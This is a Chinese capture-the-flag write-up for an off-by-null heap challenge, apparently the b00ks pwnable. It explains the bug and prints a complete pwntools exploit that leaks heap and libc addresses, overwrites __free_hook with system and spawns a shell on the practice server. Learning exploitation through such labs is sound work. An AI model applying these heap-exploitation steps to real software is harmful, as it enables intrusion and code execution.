前言
一篇题解,针对off_by_null漏洞的攻击
https://www.52pojie.cn/thread-1825637-1-1.html
参考的这个博客
网上的题解一般是两种方法,一个是mmap泄漏libc地址,一个是unsorted bin泄漏libc
本篇是unsorted bin泄漏libc
分析
漏洞点在read_n函数里面
__int64 __fastcall read_n(_BYTE *a1, int a2) { int i;
if ( a2 <= 0 ) return 0LL; for ( i = 0; ; ++i ) { if ( read(0, a1, 1uLL) != 1 ) return 1LL; if ( *a1 == '\n' ) break; ++a1; if ( i == a2 ) break; } *a1 = 0; return 0LL; }
|
可以发现这里有一个off by one+off by null,在实际调用中,a2的值一般是n-1,因此off by one就没有了,只有off by null
bss段里面可以发现,name_ptr只有32个字节,之后紧跟着book_menu,也就是说我们可以通过name_ptr最后的off_by_null字节来修改第一个堆块指针的低字节。
每个book_menu里面存储是一个结构体的指针,结构体具体是这样
struct book { int id; char *book_name; char *book_description; int description_size; };
|
在ida里面使用shift+F1,在右键插入就可以自己定义结构体了,之后在需要修改的变量那里按y修改成book* a即可。
我们之前已经学过一种泄漏libc的方法,让一个不是fastbin大小的堆块释放,就会落到unsorted bin里面,这时候里面的fd和bk就是unsorted bin地址,可以通过这个来泄露出libc地址
get shell的方式我们之前也学过了,通过修改__free_hook为system,然后free掉一个/bin/sh\x00的块就可以了
我的exp贴出来、
from pwn import * context(log_level='debug', arch='i386', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) def cmd(choice): sla("> ",str(choice)) def create(name_size,book_name,des_size,des): cmd(1) sla("Enter book name size: ",str(name_size)) sla("(Max 32 chars): ",book_name) sla("Enter book description size: ",str(des_size)) sla("Enter book description: ",des) def delete(id): cmd(2) sla("you want to delete: ",str(id)) def edit(id,des): cmd(3) sla("id you want to edit: ",str(id)) sla("Enter new book description: ",des) def printf(): cmd(4) def read_name(name): cmd(5) sla("Enter author name: ",name) def Exit(): cmd(6)
p=remote('node5.buuoj.cn',25242) libc=ELF('./libc-2.23.so') sla("name:",b"a"*32)
create(0xd0,"my_first",0xa0,"the_des") printf() ru("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") heap_addr=uu64(p.recv(6)) leak("heap_addr",heap_addr) heap_base = heap_addr - 0x11b0
create(0x20,"bbbbbbbb",0x80,"bbbbbbbb") create(0x20,"/bin/sh\x00",0x20,"/bin/sh\x00")
delete(2) edit(1,p64(1)+p64(heap_base+0x1210)+p64(heap_base+0x1340)+p64(0x1000)) read_name(b'a'*32) printf() ru("Name: ") libc_leak=uu64(p.recv(6)) libc_base=libc_leak-0x3c4b78 leak("libc_base",libc_base) free_hook=libc_base+libc.sym['__free_hook'] system=libc_base+libc.sym['system'] leak("system",libc.sym['system']) leak("free_hook",free_hook)
edit(1,p64(free_hook)+b'\x00'*2+b'\x20') edit(3,p64(system)) delete(3) ti()
|
这里分为几个步骤,首先泄漏heap地址,之后利用泄漏的heap地址来泄漏libc地址,之后再改free_hook最后get shell
sla("name:",b"a"*32) create(0xd0,"my_first",0xa0,"the_des") printf() ru("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") heap_addr=uu64(p.recv(6)) leak("heap_addr",heap_addr)
|
由于作者后面紧跟着就是第一个堆块的地址,因此我们先发送32个a来填满name这一块,此时\x00会放在堆地址处,我们再创建第一个堆块,就会覆盖掉之前写的\x00,那么name后面就不会有\x00,而可以在printf后面直接泄漏出第一个堆块地址
这里在创建第一个堆块的时候还要考虑好名字和描述的堆块大小,要让描述块的指针正好落在低字节为\x00,book_menu的指针落在描述块后面,但倒数第二个字节要一致。
create(0x20,"bbbbbbbb",0x80,"bbbbbbbb") create(0x20,"/bin/sh\x00",0x20,"/bin/sh\x00")
delete(2) edit(1,p64(1)+p64(heap_base+0x1210)+p64(heap_base+0x1340)+p64(0x1000)) read_name(b'a'*32) printf() ru("Name: ") libc_leak=uu64(p.recv(6)) libc_base=libc_leak-0x3c4b78 leak("libc_base",libc_base)
|
之后我们创建两本书,id=2时的描述块要不能落在fastbin里面。
我们再这里释放掉第二本书,那么描述块就会落在unsorted bin里面,此时第二本书的描述块的fd和bk就是unsorted bin的地址。
这个edit函数编辑的是描述块,我们之前已经刚好让描述块落在了\x00的地址,我们此时再利用off_by_null就会恰好把原本的book_menu第一个指针改成描述块的指针,那我们在改之前先编辑一下1号块的描述块,就能在之后的edit(1)中修改其他的堆块了。
edit(1,p64(1)+p64(heap_base+0x1210)+p64(heap_base+0x1340)+p64(0x1000))
|
这里就是编辑1号块的描述块,让他伪造成一个book_menu结构。
其中heap_base+0x1210是2号块的描述块,heap_base+0x1340是3号块的book_menu块+0x10,也就刚好是描述块指针所在的地址。
read_name(b’a’*32)就是修改第一块book_menu的指针为2号块描述块的指针。此时2号块描述块已经被放在unsorted bin里面了,也就能泄漏出libc地址。
free_hook=libc_base+libc.sym['__free_hook'] system=libc_base+libc.sym['system'] leak("system",libc.sym['system']) leak("free_hook",free_hook)
edit(1,p64(free_hook)+b'\x00'*2+b'\x20') edit(3,p64(system)) delete(3) ti()
|
我们此时再edit 1号块就是编辑3号块的book_menu结构体。我们直接把描述块指针本来在的位置改成free_hook的地址。然后再edit 3号块就相当于编辑free_hook。
这样我们就成功get shell。
学到的知识
这里就再次巩固了一下如何泄漏libc地址以及如何get shell。